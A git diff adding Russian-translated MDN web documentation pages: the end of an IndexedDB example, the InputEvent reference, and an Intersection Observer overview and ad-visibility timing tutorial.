+          $(this).contents().find('#' + img_id).attr('src', obj_url);
+          window.URL.revokeObjectURL(obj_url);
+        });
+      } else if (blob.type == 'application/pdf') {
+        $('*').css('cursor', 'wait');
+        var obj_url = window.URL.createObjectURL(blob);
+        iframe.load(function() {
+          $('*').css('cursor', 'auto');
+        });
+        iframe.attr('src', obj_url);
+        window.URL.revokeObjectURL(obj_url);
+      } else {
+        iframe.load(function() {
+          $(this).contents().find('body').html("No view available");
+        });
+      }
+
+    });
+  }
+
+  /**
+   * @param {string} biblioid
+   * @param {string} title
+   * @param {number} year
+   * @param {string} url the URL of the image to download and store in the local
+   *   IndexedDB database. The resource behind this URL is subjected to the
+   *   "Same origin policy", thus for this method to work, the URL must come from
+   *   the same origin than the web site/app this code is deployed on.
+   */
+  function addPublicationFromUrl(biblioid, title, year, url) {
+    console.log("addPublicationFromUrl:", arguments);
+
+    var xhr = new XMLHttpRequest();
+    xhr.open('GET', url, true);
+    // Setting the wanted responseType to "blob"
+    // http://www.w3.org/TR/XMLHttpRequest2/#the-response-attribute
+    xhr.responseType = 'blob';
+    xhr.onload = function (evt) {
+                           if (xhr.status == 200) {
+                             console.log("Blob retrieved");
+                             var blob = xhr.response;
+                             console.log("Blob:", blob);
+                             addPublication(biblioid, title, year, blob);
+                           } else {
+                             console.error("addPublicationFromUrl error:",
+                                           xhr.responseText, xhr.status);
+                           }
+                         };
+    xhr.send();
+
+    // We can't use jQuery here because as of jQuery 1.8.3 the new "blob"
+    // responseType is not handled.
+    // http://bugs.jquery.com/ticket/11461
+    // http://bugs.jquery.com/ticket/7248
+    // $.ajax({
+    //   url: url,
+    //   type: 'GET',
+    //   xhrFields: { responseType: 'blob' },
+    //   success: function(data, textStatus, jqXHR) {
+    //     console.log("Blob retrieved");
+    //     console.log("Blob:", data);
+    //     // addPublication(biblioid, title, year, data);
+    //   },
+    //   error: function(jqXHR, textStatus, errorThrown) {
+    //     console.error(errorThrown);
+    //     displayActionFailure("Error during blob retrieval");
+    //   }
+    // });
+  }
+
+  /**
+   * @param {string} biblioid
+   * @param {string} title
+   * @param {number} year
+   * @param {Blob=} blob
+   */
+  function addPublication(biblioid, title, year, blob) {
+    console.log("addPublication arguments:", arguments);
+    var obj = { biblioid: biblioid, title: title, year: year };
+    if (typeof blob != 'undefined')
+      obj.blob = blob;
+
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req;
+    try {
+      req = store.add(obj);
+    } catch (e) {
+      if (e.name == 'DataCloneError')
+        displayActionFailure("This engine doesn't know how to clone a Blob, " +
+                             "use Firefox");
+      throw e;
+    }
+    req.onsuccess = function (evt) {
+      console.log("Insertion in DB successful");
+      displayActionSuccess();
+      displayPubList(store);
+    };
+    req.onerror = function() {
+      console.error("addPublication error", this.error);
+      displayActionFailure(this.error);
+    };
+  }
+
+  /**
+   * @param {string} biblioid
+   */
+  function deletePublicationFromBib(biblioid) {
+    console.log("deletePublication:", arguments);
+    var store = getObjectStore(DB_STORE_NAME, 'readwrite');
+    var req = store.index('biblioid');
+    req.get(biblioid).onsuccess = function(evt) {
+      if (typeof evt.target.result == 'undefined') {
+        displayActionFailure("No matching record found");
+        return;
+      }
+      deletePublication(evt.target.result.id, store);
+    };
+    req.onerror = function (evt) {
+      console.error("deletePublicationFromBib:", evt.target.errorCode);
+    };
+  }
+
+  /**
+   * @param {number} key
+   * @param {IDBObjectStore=} store
+   */
+  function deletePublication(key, store) {
+    console.log("deletePublication:", arguments);
+
+    if (typeof store == 'undefined')
+      store = getObjectStore(DB_STORE_NAME, 'readwrite');
+
+    // As per spec http://www.w3.org/TR/IndexedDB/#object-store-deletion-operation
+    // the result of the Object Store Deletion Operation algorithm is
+    // undefined, so it's not possible to know if some records were actually
+    // deleted by looking at the request result.
+    var req = store.get(key);
+    req.onsuccess = function(evt) {
+      var record = evt.target.result;
+      console.log("record:", record);
+      if (typeof record == 'undefined') {
+        displayActionFailure("No matching record found");
+        return;
+      }
+      // Warning: The exact same key used for creation needs to be passed for
+      // the deletion. If the key was a Number for creation, then it needs to
+      // be a Number for deletion.
+      req = store.delete(key);
+      req.onsuccess = function(evt) {
+        console.log("evt:", evt);
+        console.log("evt.target:", evt.target);
+        console.log("evt.target.result:", evt.target.result);
+        console.log("delete successful");
+        displayActionSuccess("Deletion successful");
+        displayPubList(store);
+      };
+      req.onerror = function (evt) {
+        console.error("deletePublication:", evt.target.errorCode);
+      };
+    };
+    req.onerror = function (evt) {
+      console.error("deletePublication:", evt.target.errorCode);
+      };
+  }
+
+  function displayActionSuccess(msg) {
+    msg = typeof msg != 'undefined' ? "Success: " + msg : "Success";
+    $('#msg').html('<span class="action-success">' + msg + '</span>');
+  }
+  function displayActionFailure(msg) {
+    msg = typeof msg != 'undefined' ? "Failure: " + msg : "Failure";
+    $('#msg').html('<span class="action-failure">' + msg + '</span>');
+  }
+  function resetActionStatus() {
+    console.log("resetActionStatus ...");
+    $('#msg').empty();
+    console.log("resetActionStatus DONE");
+  }
+
+  function addEventListeners() {
+    console.log("addEventListeners");
+
+    $('#register-form-reset').click(function(evt) {
+      resetActionStatus();
+    });
+
+    $('#add-button').click(function(evt) {
+      console.log("add ...");
+      var title = $('#pub-title').val();
+      var biblioid = $('#pub-biblioid').val();
+      if (!title || !biblioid) {
+        displayActionFailure("Required field(s) missing");
+        return;
+      }
+      var year = $('#pub-year').val();
+      if (year != '') {
+        // Better use Number.isInteger if the engine has EcmaScript 6
+        if (isNaN(year))  {
+          displayActionFailure("Invalid year");
+          return;
+        }
+        year = Number(year);
+      } else {
+        year = null;
+      }
+
+      var file_input = $('#pub-file');
+      var selected_file = file_input.get(0).files[0];
+      console.log("selected_file:", selected_file);
+      // Keeping a reference on how to reset the file input in the UI once we
+      // have its value, but instead of doing that we rather use a "reset" type
+      // input in the HTML form.
+      //file_input.val(null);
+      var file_url = $('#pub-file-url').val();
+      if (selected_file) {
+        addPublication(biblioid, title, year, selected_file);
+      } else if (file_url) {
+        addPublicationFromUrl(biblioid, title, year, file_url);
+      } else {
+        addPublication(biblioid, title, year);
+      }
+
+    });
+
+    $('#delete-button').click(function(evt) {
+      console.log("delete ...");
+      var biblioid = $('#pub-biblioid-to-delete').val();
+      var key = $('#key-to-delete').val();
+
+      if (biblioid != '') {
+        deletePublicationFromBib(biblioid);
+      } else if (key != '') {
+        // Better use Number.isInteger if the engine has EcmaScript 6
+        if (key == '' || isNaN(key))  {
+          displayActionFailure("Invalid key");
+          return;
+        }
+        key = Number(key);
+        deletePublication(key);
+      }
+    });
+
+    $('#clear-store-button').click(function(evt) {
+      clearObjectStore();
+    });
+
+    var search_button = $('#search-list-button');
+    search_button.click(function(evt) {
+      displayPubList();
+    });
+
+  }
+
+  openDb();
+  addEventListeners();
+
+})(); // Immediately-Invoked Function Expression (IIFE)
+
+ +

{{ LiveSampleLink('Full_IndexedDB_example', "Test the online live demo") }}

+ +

Next step

+ +

If you want to start tinkering with the API, jump in to the reference documentation and checking out the different methods.

+ +

See also

+ +

Reference

+ + + +

Tutorials

+ + + +

Related articles

+ + + +

Firefox

+ + diff --git a/files/ru/web/api/inputevent/index.html b/files/ru/web/api/inputevent/index.html new file mode 100644 index 0000000000..8dd6cc087e --- /dev/null +++ b/files/ru/web/api/inputevent/index.html @@ -0,0 +1,73 @@ +--- +title: InputEvent +slug: Web/API/InputEvent +translation_of: Web/API/InputEvent +--- +
{{APIRef("DOM Events")}} {{SeeCompatTable}}
+ +

The InputEvent interface represents an event notifying of editable content change.

+ +

{{InheritanceDiagram}}

+ +

Конструктор

+ +
+
{{domxref("InputEvent.InputEvent", "InputEvent()")}}
+
Создает InputEvent объект.
+
+ +

Свойства

+ +

This interface inherits properties from its parents, {{domxref("UIEvent")}} and {{domxref("Event")}}.

+ +
+
{{domxref("InputEvent.data")}}{{readOnlyInline}}
+
Returns a {{domxref("DOMString")}} with the inserted characters. This may be an empty string if the change doesn't insert text (such as when deleting characters, for example).
+
{{domxref("InputEvent.dataTransfer")}}{{readonlyinline}}
+
Returns a {{domxref("DataTransfer")}} object containing information about richtext or plaintext data being added to or removed from editable content.
+
{{domxref("InputEvent.inputType")}}{{readonlyinline}}
+
Returns the type of change for editable content such as, for example, inserting, deleting, or formatting text. See the property page for a complete list of input types.
+
{{domxref("InputEvent.isComposing")}}{{readOnlyInline}}
+
Returns a {{jsxref("Boolean")}} value indicating if the event is fired after {{event("compositionstart")}} and before {{event("compositionend")}}.
+
+ +

Methods

+ +

This interface inherits methods from its parents, {{domxref("UIEvent")}} and {{domxref("Event")}}.

+ +
+
{{domxref('InputEvent.getTargetRanges()')}}
+
Returns an array of static ranges that will be affected by a change to the DOM if the input event is not canceled.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('InputEvents2','#interface-InputEvent','InputEvent')}}{{Spec2('InputEvents2')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.InputEvent")}}

+ +

See also

+ + diff --git a/files/ru/web/api/intersection_observer_api/index.html b/files/ru/web/api/intersection_observer_api/index.html new file mode 100644 index 0000000000..40fbfc7443 --- /dev/null +++ b/files/ru/web/api/intersection_observer_api/index.html @@ -0,0 +1,134 @@ +--- +title: Intersection Observer API +slug: Web/API/Intersection_Observer_API +tags: + - Intersection Observer API + - пересечение объектов +translation_of: Web/API/Intersection_Observer_API +--- +

{{DefaultAPISidebar("Intersection Observer API")}}

+ +

Intersection Observer API позволяет веб-приложениям асинхронно следить за изменением пересечения элемента с его родителем или областью видимости документа {{Glossary("viewport")}}.

+ +

Исторически обнаружение видимости отдельного элемента или видимости двух элементов по отношению друг к другу было непростой задачей. Варианты решения этой задачи были ненадежными и замедляли работу браузера. К несчастью, по мере того как веб "взрослел", потребность в решении этой проблемы только росла по многим причинам, таким как:

+ + + +

В прошлом реализация обнаружения пересечения элементов подразумевала использование обработчиков событий и циклов, вызывающих методы типа {{domxref("Element.getBoundingClientRect()")}}, чтобы собрать необходимую информацию о каждом затронутом элементе. Поскольку весь этот код работает в основном потоке, возникают проблемы с производительностью.

+ +

Рассмотрим веб-страницу с бесконечным скроллом. На ней используется библиотека для управления периодически размещаемой по всей странице рекламой, повсюду анимированная графика, а также библиотека для отображения всплывающих окон. И все эти вещи используют свои собственные правила для обнаружения пересечений, и все они запущены в основном потоке. Автор сайта может даже не подозревать об этой проблеме, а также может не знать, как работают сторонние библиотеки изнутри. В то же время пользователь по ходу прокрутки страницы сталкивается с тем, что работа сайта замедляется постоянным срабатыванием обнаружения пересечения, что в итоге приводит к тому, что пользователь недоволен браузером, сайтом и  своим компьютером.

+ +

Intersection Observer API даёт возможность зарегистрировать callback-функцию, которая выполнится при пересечении наблюдаемым элементом границ другого элемента (или области видимости документа {{Glossary("viewport")}}), либо при изменении величины пересечения на опредённое значение. Таким образом, больше нет необходимости вычислять пересечение элементов в основном потоке, и браузер может оптимизировать эти процессы на своё усмотрение.

+ +

Observer API не позволит узнать точное число пикселей или определить конкретные пиксели в пересечении; однако, его использование покрывает наиболее частые сценарии вроде "Если элементы пересекаются на N%, сделай то-то".

+ +

Основные понятия

+ +

Intersection Observer API позволяет указать функцию, которая будет вызвана всякий раз для элемента (target) при пересечении его с областью видимости документа (по-умолчанию) или заданным элементом (root).

+ +

В основном, используется отслеживание пересечения элемента с областью видимости (необходимо указать null в качестве корневого элемента).

+ +

Используете ли вы область видимости или другой элемент в качестве корневого, API работает одинаково, вызывая заданную вами функцию обратного вызова, всякий раз, когда видимость целевого элемента изменяет так, что она пересекает в нужной степени корневой элемент.

+ +

Степень пересечения целевого и корневого элемента задается в диапазоне от  0.0 до 1.0, где 1.0 это полное пересечение целевого элемента границ корневого.

+ +

Пример использования

+ +

Для начала с помощью конструктора нужно создать объект-наблюдатель, указать для него функцию для вызова и настройки отслеживания:

+ +
var options = {
+    root: document.querySelector('#scrollArea'),
+    rootMargin: '0px',
+    threshold: 1.0
+}
+var callback = function(entries, observer) {
+    /* Content excerpted, show below */
+};
+var observer = new IntersectionObserver(callback, options);
+ +

Параметр threshold со значением 1.0 означает что функция будет вызвана при 100% пересечении объекта (за которым мы следим) с объектом root

+ +

Настройки

+ +
+
root
+
Элемент который используется в качестве области просмотра для проверки видимости целевого элемента. Должен быть предком целевого элемента. По умолчанию используется область видимости браузера если не определён или имеет значение null.
+
rootMargin  
+
Отступы вокруг root.  Могут иметь значения как свойство css margin: "10px 20px 30px 40px" (top, right, bottom, left). Значения можно задавать в процентах. По умолчанию все параметры установлены в нули.
+
threshold
+
Число или массив чисел, указывающий, при каком проценте видимости целевого элемента должен сработать callback. Например, в этом случае callback функция будет вызываться при появлении в зоне видимости каждый 25% целевого элемента:  [0, 0.25, 0.5, 0.75, 1]
+
+ +

Целевой элемент, который будет наблюдаться

+ +

После того, как вы создали наблюдателя, вам нужно дать ему целевой элемент для просмотра:

+ +
var target = document.querySelector('#listItem');
+observer.observe(target);
+
+ +

Всякий раз, когда цель достигает порогового значения, указанного для IntersectionObserver, вызывается функция обратного вызова callback. Где callback получает список объектов {{domxref ("IntersectionObserverEntry")}} и наблюдателя:

+ +
var callback = function(entries, observer) {
+    entries.forEach(entry => {
+        entry.time;               // a DOMHightResTimeStamp indicating when the intersection occurred.
+        entry.rootBounds;         // a DOMRectReadOnly for the intersection observer's root.
+        entry.boundingClientRect; // a DOMRectReadOnly for the intersection observer's target.
+        entry.intersectionRect;   // a DOMRectReadOnly for the visible portion of the intersection observer's target.
+        entry.intersectionRatio;  // the number for the ratio of the intersectionRect to the boundingClientRect.
+        entry.target;             // the Element whose intersection with the intersection root changed.
+        entry.isIntersecting;     // intersecting: true or false
+    });
+};
+
+ +

Обратите внимание, что функция обратного вызова запускается в главном потоке и должна выполняться как можно быстрее, поэтому если что-то отнимает много времени, то используйте {{domxref("Window.requestIdleCallback()")}}.

+ +

Также обратите внимание, что если вы указали опцию root, целевой элемент должен быть потомком корневого элемента.

+ +

Интерфейсы

+ +
+
{{domxref("IntersectionObserver")}}
+
Основной интерфейс для API Intersection Observer. Предоставляет методы для создания и управления observer, который может наблюдать любое количество целевых элементов для одной и той же конфигурации пересечения. Каждый observer может асинхронно наблюдать изменения в пересечении между одним или несколькими целевыми элементами и общим элементом-предком или с их верхним уровнем {{domxref("Document")}}'s {{Glossary('viewport')}}. Предок или область просмотра упоминается как root.
+
{{domxref("IntersectionObserverEntry")}}
+
Описывает пересечение между целевым элементом и его корневым контейнером в определенный момент перехода. Объекты этого типа могут быть получены только двумя способами: в качестве входных данных для вашего обратного вызова IntersectionObserver или путем вызова {{domxref ("IntersectionObserver.takeRecords()")}}.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('IntersectionObserver')}}{{Spec2('IntersectionObserver')}}
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.IntersectionObserver")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html b/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html new file mode 100644 index 0000000000..ba2d788cd7 --- /dev/null +++ b/files/ru/web/api/intersection_observer_api/timing_element_visibility/index.html @@ -0,0 +1,565 @@ +--- +title: Синхронизация видимости элемента с Intersection Observer API +slug: Web/API/Intersection_Observer_API/Timing_element_visibility +tags: + - API + - Example + - Intermediate + - Intersection Observer + - Intersection Observer API + - Гайды +translation_of: Web/API/Intersection_Observer_API/Timing_element_visibility +--- +
{{DefaultAPISidebar("Intersection Observer API")}}
+ +

Intersection Observer API позволяет в асинхронном режиме уведомлять приложение о том, что какой-то интересующий нас элемент в той или иной степени перекрыл родительский или другой элемент, в том числе {{domxref("Document")}}. В этой статье мы построим пример блога, в котором в DOM динамически встраиваются рекламные блоки. Затем, с помощью Intersection Observer API, мы выясним, сколько времени показывается каждая отдельная реклама пользователю. Когда такая реклама показывается дольше, чем одну минуту, мы заменяем её на новую.

+ +

Хотя многие элементы в нашем примере слабо связаны с реальным миром, этого будет достаточно для понимания API. В реальном мире статьи чаще всего отличаются между собой и хранятся не в клиенте, а загружаются из базы данных; да и реклама не состоит из одной только строчки текста.

+ +

Есть важная причина, почему мы используем отслеживание видимости рекламы. Вышло так, что наиболее частое употребление Flash или скриптов в Web рекламе нужно для того, чтобы оценивать эффективность рекламы, а значит, её стоимость. Без Intersection Observer API эта задача свелась бы к повсеместному применению setTimeout и setInterval для каждой отдельной рекламы. Такие техники могут драматически ухудшить производительность страницы. Использование API в этом случае может позволит браузеру взять на себя обработку сложной логики и не только ускорит приложение, но и спасёт вас от ошибок, которые обязательно появятся при использовании setTimeout / setInterval.

+ +

Начнём!

+ +
+

Структура приложения: HTML

+ +

Структура Web-приложений не очень сложна. Мы будем использовать CSS Grid для стилизации и макетирования, так что всё достаточно очевидно:

+ +
<div class="wrapper">
+  <header>
+    <h1>A Fake Blog</h1>
+    <h2>Showing Intersection Observer in action!</h2>
+  </header>
+
+  <aside>
+    <nav>
+      <ul>
+        <li><a href="#link1">A link</a></li>
+        <li><a href="#link2">Another link</a></li>
+        <li><a href="#link3">One more link</a></li>
+      </ul>
+    </nav>
+  </aside>
+
+  <main>
+  </main>
+</div>
+ +

Это заготовка для приложения. В верхней части приложения находится блок {{HTMLElement("header")}}. Ниже - боковая панель {{HTMLElement("aside")}}, заполненная ссылками. В самом конце структуры - основное тело приложения. Приложение стартует с пустым элементом {{HTMLElement("main")}} -  он будет заполнен позже с помощью JavaScript.

+ +

Стилизация приложения с помощью CSS

+ +

После определения структуры приложения мы переходим к стилизации. Давайте рассмотрим каждый компонент по отдельности.

+ +

Основа

+ +

Мы создаем стили для {{HTMLElement("body")}} и {{HTMLElement("main")}} так, чтобы определить фоновый цвет и сеточную систему.

+ +
body {
+  font-family: "Open Sans", "Arial", "Helvetica", sans-serif;
+  background-color: aliceblue;
+}
+
+.wrapper {
+  display: grid;
+  grid-template-columns: auto minmax(min-content, 1fr);
+  grid-template-rows: auto minmax(min-content, 1fr);
+  max-width: 700px;
+  margin: 0 auto;
+  background-color: aliceblue;
+}
+ +

Элемент приложения {{HTMLElement("body")}} сконфигурирован так, чтобы использовать общеупотребимый шрифт из семейства sans-serif и цвет "aliceblue" в качестве фона. Класс "wrapper" оборачивает всё приложение, включая header, sidebar и body content.

+ +

Обёртка определяет также CSS Grid сетку, как сетку из двух колонок и двух строк. Первая колонка (размер вычисляется автоматически на основе контента) используется для боковой панели, а вторая колонка (будет использоваться для основного содержимого) имеет ширину, достаточную, чтобы вместить содержимое и занять всю доступную площадь.

+ +

Первая строка будет использована для заголовка сайта. Размеры строк определяются схожим образом - размер первой вычисляется на основе контента, а второй - занимает всё доступной пространство, но не меньше размера, необходимого для показа содержимого.

+ +

Ширина обёртки зафиксирована - 700px, так что её размер будет удобен для представления приложения в MDN.

+ +

The wrapper's width is fixed at 700px so that it will fit in the available space when presented inline on MDN below.

+ +

Заголовок

+ +

Заголовок достаточно прост, так как в нашем примере он содержит небольшой текст.

+ +
header {
+  grid-column: 1 / -1;
+  grid-row: 1;
+  background-color: aliceblue;
+}
+ +

Значение {{cssxref("grid-row")}} равно 1, так как мы хотим поместить заголовок в верхнюю строку сеточной системы. Более интересно использование {{cssxref("grid-column")}}; Мы указываем здесь, что блок занимает пространство с первой колонки до первой с конца (то есть последней).

+ +

Боковая панель

+ +

Боковая панель используется для показа ссылок на другие страницы приложения. Ни одна из них не будет работать в нашем примере. Вся боковая панель нужна, чтобы просто приблизить внешний вид приложения к реальному блогу. Боковая панель создается с помощью элемента {{HTMLElement("aside")}}.

+ +
aside {
+  grid-column: 1;
+  grid-row: 2;
+  background-color: cornsilk;
+  padding: 5px 10px;
+}
+
+aside ul {
+  padding-left: 0;
+}
+
+aside ul li {
+  list-style: none;
+}
+
+aside ul li a {
+  text-decoration: none;
+}
+ +

Важно отметить, что значение {{cssxref("grid-column")}} здесь установлено в 1 для того, чтобы поместить панель в левую часть экрана. Если вы поменяете это значение на "-1", то панель переместится вправо, однако, в этом случае, вам понадобится немного изменить стили внутренних элементов. Значение {{cssxref("grid-row")}} равно 2, чтобы боковая панель заняла область вдоль области контента.

+ +

Область контента

+ +

Контент будет содержаться в элементе {{HTMLElement("main")}}.

+ +
main {
+  grid-column: 2;
+  grid-row: 2;
+  margin: 0;
+  margin-left: 16px;
+  font-size: 16px;
+}
+ +

Главная особенность здесь - контент занимает вторую колонку и вторую строку.

+ +

Статьи

+ +

Каждая статья состоит из элемента {{HTMLElement("article")}}:

+ +
article {
+  background-color: white;
+  padding: 6px;
+}
+
+article:not(:last-child) {
+  margin-bottom: 8px;
+}
+
+article h2 {
+  margin-top: 0;
+}
+ +

Эти стили создают область с белым фоном с небольшими отступами как внутри области, так и между областями.

+ +

Рекламные блоки

+ +

Наконец, рекламные блоки. Нужно заметить, что каждый отдельный рекламный блок может изменять свои стили динамически (мы увидим это позже):

+ +
.ad {
+  height: 96px;
+  padding: 6px;
+  border-color: #555;
+  border-style: solid;
+  border-width: 1px;
+}
+
+.ad:not(:last-child) {
+  margin-bottom: 8px;
+}
+
+.ad h2 {
+  margin-top: 0;
+}
+
+.ad div {
+  position: relative;
+  float: right;
+  padding: 0 4px;
+  height: 20px;
+  width: 120px;
+  font-size: 14px;
+  bottom: 30px;
+  border: 1px solid black;
+  background-color: rgba(255, 255, 255, 0.5);
+}
+ +

Здесь нет никакой магии. Простой CSS.

+ +

Совмещаем с JavaScript

+ +

Перейдём к JavaScript коду, который всё оживит. Начнем с глобальных переменных:

+ +
let contentBox;
+
+let nextArticleID = 1;
+let visibleAds = new Set();
+let previouslyVisibleAds = null;
+
+let adObserver;
+let refreshIntervalID = 0;
+ +

Вот что здесь используется:

+ +
+
contentBox
+
Ссылка на элемент {{HTMLElement("main")}}. Это место, куда мы будем вставлять статьи и рекламу.
+
nextArticleID
+
Каждая статья получает уникальный цифровой ID. Эта переменная позволяет понять, какой следующий ID использовать.
+
visibleAds
+
{{jsxref("Set")}} используется для отслеживания текущих видимых на экране рекламных блоков.
+
previouslyVisibleAds
+
Используется для временного хранения списка рекламных блоков в то время, как документ невидим (например, если пользователь переключился на другой таб)
+
adObserver
+
Содержит экземпляр {{domxref("IntersectionObserver")}}, используемый для вычисления наложения рекламных блоков и границ элемента <main>.
+
refreshIntervalID
+
Переменная для хранения ID интервала, который возвращается функцией {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}. Этот интервал будет использоваться для запуска переодических обновлений рекламных блоков.
+
+ +

Установка

+ +

Для первичного запуска приложения мы вызовем функцию startup():

+ +
window.addEventListener("load", startup, false);
+
+function startup() {
+  contentBox = document.querySelector("main");
+
+  document.addEventListener("visibilitychange", handleVisibilityChange, false);
+
+  let observerOptions = {
+    root: null,
+    rootMargin: "0px",
+    threshold: [0.0, 0.75]
+  };
+
+  adObserver = new IntersectionObserver(intersectionCallback,
+                    observerOptions);
+
+  buildContents();
+  refreshIntervalID = window.setInterval(handleRefreshInterval, 1000);
+}
+ +

Вначале мы получаем элемент {{HTMLElement("main")}}, в который можем вставлять содержимое. Затем мы устанавливаем обработчик на событие {{event("visibilitychange")}}. Это событие срабатывает, когда документ меняет состояние между видим/невидим, например, когда пользователь переключается между табами. Intersection Observer API не должен засчитывать пересечение с элементом Main, если пользователь не будет в это время смотреть на вкладку. Таким образом, мы должны останавливать наши таймеры каждый раз, когда пользователь уходит со страницы. С помощью этого обработчика.

+ +

Затем мы устанавливаем параметры для {{domxref("IntersectionObserver")}}. Параметры определяют, что IntersectionObserver должен отслеживать перекрытия с областью видимости документа (параметр root в значении null). У нас нет отступов для модификации корневой области; мы хотим отслеживать совпадение границ элементов и видимого документа именно для целей обнаружения перекрытий.

+ +

Параметр "порог" (threshold) содержит массив со значениями 0.0 и 0.75; Это заставит обработчик вызываться каждый раз, когда целевой элемент становится полностью обёрнут или только начинает выходить из зоны перекрытия (коэффициент перекрытия 0.0) или проходит порог в 75% видимости в обоих направлениях (коэффициент перекрытия 0.75).

+ +

Наблюдатель adObserver создается с помощью конструктора IntersectionObserver. В аргументы конструктора мы передаём функцию обратного вызова (intersectionCallback) и ранее определенный объект параметров.

+ +

После этого мы вызываем функцию buildContents(). Её мы напишем чуть позже. Функция генерирует и вставляет в контейнер статьи и рекламные блоки.

+ +

В конце мы устанавливаем интервал, который каждую секунду запускает проверку - нужно ли что-то обновить. Нам необходимо второе обновление, так как в каждом отдельном рекламном блоке мы показываем таймер. В реальном приложении это не понадобится.

+ +

Обработка изменения видимости документа

+ +

Давайте рассмотрим обработчик события {{event("visibilitychange")}}. Это событие срабатывает, когда документ становится видим или невидим. Как правило, это случается, когда пользователь переключается между табами. Так как Intersection Observer отслеживает только перекрытия элемента с корневым элементом, нам необходимо отдельно позаботиться о детекции видимости документа. Для этого мы используем Page Visibility API.

+ +
function handleVisibilityChange() {
+  if (document.hidden) {
+    if (!previouslyVisibleAds) {
+      previouslyVisibleAds = visibleAds;
+      visibleAds = [];
+      previouslyVisibleAds.forEach(function(adBox) {
+        updateAdTimer(adBox);
+        adBox.dataset.lastViewStarted = 0;
+      });
+    }
+  } else {
+    previouslyVisibleAds.forEach(function(adBox) {
+      adBox.dataset.lastViewStarted = performance.now();
+    });
+    visibleAds = previouslyVisibleAds;
+    previouslyVisibleAds = null;
+  }
+}
+ +

Так как событие само по себе не указывает, стал ли документ видимым или, наоборот, невидимым, мы должны вручную проверить свойство {{domxref("document.hidden")}}. В теории, это событие может сработать несколько раз, поэтому нам нужно обрабатывать только те рекламные блоки, учёт которых ещё не был приостановлен.

+ +

Для остановки таймеров нам нужно удалить ссылки на рекламные блоки из коллекции visibleAds и пометить их как неактивные. Чтобы это сделать, мы начинаем с сохранения ссылок на текущие видимые элементы в переменную previouslyVisibleAds. Это нужно, чтобы в дальнейшем можно было восстановить счётчики для этих блоков. Так мы указываем приложению, что эту рекламу не надо считать активной. Затем, если пользователь вернулся в документ, мы вызываем функцию  updateAdTimer() для каждого отложенного элемента. Эта функция обновляет общее время видимости элемента. После этого мы присваиваем переменной dataset.lastViewStarted значение 0, что означает, что таймер не запущен.

+ +

Если документ стал видимым, мы выполняем обратный процесс: сначала мы проходим через коллекцию previouslyVisibleAds. Для каждого элемента мы присваиваем  dataset.lastViewStarted значение, соответствующее текущему времени документа (в миллисекундах с момента создания документа). Это время можно узнать с помощью  метода {{domxref("Performance.now", "performance.now()")}}. Затем мы присваиваем переменной  visibleAds закешированное ранее значение previouslyVisibleAds, с обнулением последней переменной. Теперь рекламные блоки перезапущены и настроены, так что время простоя не будет учиваться.

+ +

Обработчик изменений наложения

+ +

При каждой итерации в браузерном event loop, каждый наблюдатель  {{domxref("IntersectionObserver")}} проверяет, не прошел ли какой-либо из элементов-целей через пороговые значения наблюдателя.  Для каждого наблюдателя список таких целей собирается в один список и отправляется в функцию обратного вызова наблюдателя. Каждый элемент списка - это {{domxref("IntersectionObserverEntry")}} объект. В нашем приложении intersectionCallback() выглядит так:

+ +
function intersectionCallback(entries) {
+  entries.forEach(function(entry) {
+    let adBox = entry.target;
+
+    if (entry.isIntersecting) {
+      if (entry.intersectionRatio >= 0.75) {
+        adBox.dataset.lastViewStarted = entry.time;
+        visibleAds.add(adBox);
+      }
+    } else {
+      visibleAds.delete(adBox);
+      if ((entry.intersectionRatio === 0.0) && (adBox.dataset.totalViewTime >= 60000)) {
+        replaceAd(adBox);
+      }
+    }
+  });
+}
+ +

Как мы упоминали ранее, функция обратного вызова {{domxref("IntersectionObserver")}}  получает на вход массив элементов, которые активировали наблюдателя. В нашей функции мы итерируемся по этому массиву. Если элемент пересекается с корневым элементом, мы знаем, что он стал видимым. Если он становится видимым более, чем на 75%, мы считаем, что реклама видима и мы запускаем таймер, выставляя значение  dataset.lastViewStarted равным времени изменения параметра перекрытия {{domxref("IntersectionObserverEntry.time", "entry.time")}}. Затем мы добавляем рекламный блок в набор visibleAds.

+ +

Если рекламный блок уходит из зоны видимости, мы удаляем его из набор видимых элементов. Затем, в зависимости от значения {{domxref("IntersectionObserverEntry.intersectionRatio", "entry.ratio")}}, мы либо меняем рекламу, либо ставим на паузу. Так, если значение равно 0.0 и реклама уже была видна минимум минуту, мы вызываем функцию replaceAd() . В этом случае пользоватль видит разные рекламные блоки, но сама реклама меняется незаметно для пользователя.

+ +

Обработка периодический событий

+ +

Каждую секунду у нас срабатывает интервал handleRefreshInterval(), который мы задали в функции startup(). Главная задача этого интервала - обновлять таймеры каждую секунду и перерисовывать значение таймеров.

+ +
function handleRefreshInterval() {
+  let redrawList = [];
+
+  visibleAds.forEach(function(adBox) {
+    let previousTime = adBox.dataset.totalViewTime;
+    updateAdTimer(adBox);
+
+    if (previousTime != adBox.dataset.totalViewTime) {
+      redrawList.push(adBox);
+    }
+  });
+
+  if (redrawList.length) {
+    window.requestAnimationFrame(function(time) {
+      redrawList.forEach(function(adBox) {
+        drawAdTimer(adBox);
+      });
+    });
+  }
+}
+ +

Массив redrawList используется для хранения списка рекламных блоков, которые должны быть перерисованы в следующем цикле перерисовки. Это нужно, так как таймеры текущих рекламных блоков не всегда совпадают с реальными таймингами из-за прочих системных процессов. Или из-за того, что вы указали в качестве интервала промежуток не в 1000мс.

+ +

Затем, для каждого видимого рекламного блока, мы сохраняем значение dataset.totalViewTime (количество миллисекунд, которое текущая реклама была видима с момента последнего обновления этого значения). После этого вызываем функцию updateAdTimer() для обновления времени. Если оно изменилось, мы вставляем рекламный блок в список redrawList. Таким образом, при обработке следующего кадра приложение знает, что нужно перерисовать.

+ +

И, наконец, если существует хоть один элемент, который нужно перерисовать, мы будем используем {{domxref("window.requestAnimationFrame", "requestAnimationFrame()")}}, чтобы отложить отрисовку каждого элемента на тот момент, когда будет формироваться следующий кадр.

+ +

Обновление таймера видимости рекламы

